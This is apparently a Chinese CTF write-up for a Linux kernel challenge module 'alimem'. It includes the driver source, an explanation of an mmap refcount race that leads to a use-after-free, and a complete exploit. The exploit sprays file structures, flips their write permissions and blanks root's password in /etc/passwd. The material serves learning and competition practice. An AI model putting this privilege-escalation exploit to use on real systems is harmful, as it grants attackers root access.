题目
#include <linux/module.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/miscdevice.h> #include <linux/slab.h> #include <linux/uaccess.h> #include <linux/mm.h> #include <linux/rcupdate.h> #include <linux/rwsem.h> #include <linux/io.h> #include <linux/delay.h> #define MAX_PAGES 64 #define PAGE_ORDER 0 #define DEVICE_NAME "alimem" #define ALIMEM_ALLOC 0x1337 #define ALIMEM_FREE 0x1338 #define ALIMEM_WRITE 0x1339 #define ALIMEM_READ 0x133a int already_open = 0; struct alimem_page { void *virt; phys_addr_t phys; atomic_t refcount; struct rcu_head rcu; }; struct alimem_write { int idx; unsigned int offset; const char __user *data; size_t size; }; struct alimem_read { int idx; unsigned int offset; char __user *data; size_t size; }; static struct alimem_page *pages[MAX_PAGES]; static DECLARE_RWSEM(pages_lock); static void free_page_rcu(struct rcu_head *rcu) { struct alimem_page *page = container_of(rcu, struct alimem_page, rcu); free_pages((unsigned long)page->virt, PAGE_ORDER); kfree(page); } static void alimem_vma_close(struct vm_area_struct *vma) { struct alimem_page *page = vma->vm_private_data; if (atomic_dec_and_test(&page->refcount)) { memset(page->virt, 0, PAGE_SIZE); call_rcu(&page->rcu, free_page_rcu); } } static void alimem_vma_open(struct vm_area_struct *vma) { struct alimem_page *page = vma->vm_private_data; atomic_inc(&page->refcount); } static const struct vm_operations_struct alimem_vm_ops = { .open = alimem_vma_open, .close = alimem_vma_close, }; static int alimem_mmap(struct file *filp, struct vm_area_struct *vma) { int idx = vma->vm_pgoff; struct alimem_page *page; int ret = -EINVAL; if (idx < 0 || idx >= MAX_PAGES) return -EINVAL; if (vma->vm_end - vma->vm_start != PAGE_SIZE) { return -EINVAL; } rcu_read_lock(); if(!pages[idx]) { rcu_read_unlock(); return -EINVAL; } page = rcu_dereference(pages[idx]); if (page) { phys_addr_t phys = page->phys; vma->vm_ops = &alimem_vm_ops; vma->vm_private_data = page; vm_flags_set(vma, vma->vm_flags | VM_DONTEXPAND | VM_DONTDUMP); rcu_read_unlock(); if (remap_pfn_range(vma, vma->vm_start, phys >> PAGE_SHIFT, vma->vm_end - vma->vm_start, vma->vm_page_prot)) { return -EAGAIN; } atomic_inc(&page->refcount); return 0; } rcu_read_unlock(); return ret; } static long alimem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { int idx, ret = 0; struct alimem_page *new_page; switch (cmd) { case ALIMEM_ALLOC: { new_page = kzalloc(sizeof(*new_page), GFP_KERNEL); if (!new_page) return -ENOMEM; new_page->virt = (void *)__get_free_pages(GFP_KERNEL, PAGE_ORDER); if (!new_page->virt) { kfree(new_page); return -ENOMEM; } new_page->phys = virt_to_phys(new_page->virt); atomic_set(&new_page->refcount, 1); down_write(&pages_lock); for (idx = 0; idx < MAX_PAGES; idx++) { if (!pages[idx]) { rcu_assign_pointer(pages[idx], new_page); up_write(&pages_lock); return idx; } } up_write(&pages_lock); free_pages((unsigned long)new_page->virt, PAGE_ORDER); kfree(new_page); return -ENOSPC; } case ALIMEM_FREE: { struct alimem_page *old; if (get_user(idx, (int __user *)arg)) return -EFAULT; if (idx < 0 || idx >= MAX_PAGES) return -EINVAL; down_write(&pages_lock); old = pages[idx]; if (old) { rcu_assign_pointer(pages[idx], NULL); if (atomic_dec_and_test(&old->refcount)) { memset(old->virt, 0, PAGE_SIZE); call_rcu(&old->rcu, free_page_rcu); } } up_write(&pages_lock); return 0; } case ALIMEM_WRITE: { struct alimem_write wr; struct alimem_page *page; if (copy_from_user(&wr, (void __user *)arg, sizeof(wr))) return -EFAULT; if (wr.idx < 0 || wr.idx >= MAX_PAGES || wr.offset + wr.size > PAGE_SIZE) return -EINVAL; rcu_read_lock(); page = rcu_dereference(pages[wr.idx]); if (!page) { rcu_read_unlock(); return -EFAULT; } if (copy_from_user(page->virt + wr.offset, wr.data, wr.size)) { rcu_read_unlock(); return -EFAULT; } rcu_read_unlock(); return 0; } case ALIMEM_READ: { struct alimem_read rd; struct alimem_page *page; if (copy_from_user(&rd, (void __user *)arg, sizeof(rd))) return -EFAULT; if (rd.idx < 0 || rd.idx >= MAX_PAGES || rd.offset + rd.size > PAGE_SIZE) return -EINVAL; rcu_read_lock(); page = rcu_dereference(pages[rd.idx]); if (!page) { rcu_read_unlock(); return -EFAULT; } if (copy_to_user(rd.data, page->virt + rd.offset, rd.size)) { rcu_read_unlock(); return -EFAULT; } rcu_read_unlock(); return 0; } default: return -ENOTTY; } } static int alimem_open(struct inode *inode, struct file *file) { if (already_open) { return -EBUSY; } already_open++; pr_info("alimem: device open\n"); return 0; } static int alimem_close(struct inode *inodep, struct file *filp) { already_open--; pr_info("alimem: device close\n"); return 0; } static ssize_t alimem_write(struct file *file, const char __user *buf, size_t len, loff_t *ppos) { return -EINVAL; } static ssize_t alimem_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) { return -EINVAL; } static struct file_operations alimem_fops = { .owner = THIS_MODULE, .mmap = alimem_mmap, .write = alimem_write, .read = alimem_read, .open = alimem_open, .release = alimem_close, .unlocked_ioctl = alimem_ioctl, }; static struct miscdevice alimem_dev = { .minor = MISC_DYNAMIC_MINOR, .name = DEVICE_NAME, .fops = &alimem_fops, }; static int __init alimem_init(void) { return misc_register(&alimem_dev); } static void __exit alimem_exit(void) { int idx; struct alimem_page *page; down_write(&pages_lock); for (idx = 0; idx < MAX_PAGES; idx++) { page = pages[idx]; if (page) { free_pages((unsigned long)page->virt, PAGE_ORDER); kfree(page); pages[idx] = NULL; } } up_write(&pages_lock); misc_deregister(&alimem_dev); } module_init(alimem_init); module_exit(alimem_exit); MODULE_LICENSE("GPL");
down_write()/up_write() 读写信号量
down获取写锁,up释放写锁
用于修改共享数据结构时,通过写锁保证原子性
RCU 无锁读机制
rcu_read_lock()/rcu_read_unlock()标记读者进入/退出临界区
atomic_dec_and_test()/atomic_inc()原子操作
原子地增加计数器(无锁);原子地减少计数器 并检测是否到0(若0返回true)
用于管理共享资源引用计数
这里关于alimem_mmap()中idx的获取
假设用户空间调用 mmap 时指定了 offset 参数:
void *addr = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 10 * PAGE_SIZE);
- 这里的
offset是10 * PAGE_SIZE,表示用户空间希望映射设备的第 10 页 - 内核会将
offset转换为vma->vm_pgoff,并将其设置为 10
解题思路
先获取指针映射,再增加引用
竞争时机:映射完成后,增加引用前,free执行发现引用归0,执行free_page_rcu()

exp
第一个线程写入A并标志第一次写入完成,此时第二个线程进行mmap操作同时紧接着第一个线程进行free操作
判断target_addr即mmap返回地址非零,则第一个线程进行第二次申请内存和写操作,判断刚才映射的地址内容是否更改。如果更改了 说明uaf成功(之前映射的内存被释放后又被申请 所以内容变更)
后续因为内存是用__get_free_pages()释放的 进入伙伴系统,所以直接喷file结构体,修改权限将/etc/passwd中root密码置空
#define _GNU_SOURCE #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/fcntl.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <unistd.h> #include <pthread.h> #include <signal.h> #define CHECK(x) ({ errno = 0; typeof(x) __x = (x); if(errno) { perror(#x); exit(1); } __x; }) #define DEVICE_NAME "alimem" #define PAGE_SIZE 0x1000 #define ALIMEM_ALLOC 0x1337 #define ALIMEM_FREE 0x1338 #define ALIMEM_WRITE 0x1339 #define ALIMEM_READ 0x133a struct alimem_write { int idx; unsigned int offset; char *data; size_t size; }; struct alimem_read { int idx; unsigned int offset; char *data; size_t size; }; void alimem_alloc(int fd){ ioctl(fd, ALIMEM_ALLOC, 0); } void alimem_free(int fd, int idx){ ioctl(fd, ALIMEM_FREE, &idx); } void alimem_write(int fd, int idx, unsigned int off, char *buf, size_t size){ struct alimem_write wr = { .idx = idx, .offset = off, .data = buf, .size = size }; ioctl(fd, ALIMEM_WRITE, &wr); } void alimem_read(int fd, int idx, unsigned int off, char *buf, size_t size){ struct alimem_read rd = { .idx = idx, .offset = off, .data = buf, .size = size }; ioctl(fd, ALIMEM_READ, &rd); } int stop=0, written=0, sec_written=0; char *target_addr = NULL; int fds[0x200]; void *func1(void *arg){ int fd = *(int*)arg; CHECK( fd > 0 ); char in_buf[0x200]; while (1){ written = sec_written = 0; alimem_alloc(fd); in_buf[0] = 'A'; alimem_write(fd, 0, 0, in_buf, 0x100); written = 1; usleep(10); alimem_free(fd, 0); if (target_addr <= 0) continue; in_buf[0] = 'B'; alimem_alloc(fd); alimem_write(fd, 0, 0, in_buf, 0x100); if (target_addr[0] == 'B'){ stop = 1; sec_written = 1; break; } alimem_free(fd, 0); sec_written = 1; } } void *func2(void *arg){ int fd = *(int*)arg; while (1){ while (!written) {}; target_addr = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (target_addr <= 0) continue; while(!sec_written) {}; if (stop) break; target_addr = NULL; } } void handle_segv(int sig) { fprintf(stderr, "Thread crashed with SIGSEGV\n"); exit(1); } int main() { signal(SIGSEGV, handle_segv); int fd = open("/dev/alimem", O_RDWR); pthread_t p1, p2; CHECK(pthread_create(&p1, NULL, func1, (void*)&fd) != 0); CHECK(pthread_create(&p2, NULL, func2, (void*)&fd) != 0); pthread_join(p1, NULL); pthread_join(p2, NULL); printf("uaf addr: 0x%llx\n", (long long)target_addr); char buf[0x100]; memset(buf, 'C', 0x100); alimem_write(fd, 0, 0, buf, 0x100); if (target_addr[0] == 'C'){ alimem_free(fd, 0); if (target_addr[0] != 'C') printf("[+] uaf success\n"); else{ printf("[+] uaf failed\n"); exit(-1); } } else{ printf("[+] uaf failed\n"); exit(-1); } for(int i = 0; i < 0x200; i++) fds[i] = open("/etc/passwd", O_RDONLY); if (target_addr[0] == 'C'){ printf("[-] fail"); exit(-1); } *(target_addr+0x14) = 0x1d|0x3; // f_mode FMODE_WRITE 0x3 *(target_addr+0x16) = 0x4a|0x4; // f_mode FMODE_CAN_WRITE 0x40000 *(target_addr+0x48) = 0x2; // f_flags O_RDWR 0x0002 for (int i = 0; i < 0x200; i++){ int tmpfd = fds[i]; char content[] = "root::0:0:root:/root:/bin/sh"; ssize_t bytes = write(tmpfd, content, sizeof(content)); close(tmpfd); if (bytes > 0) break; } printf("[+] Done\n"); }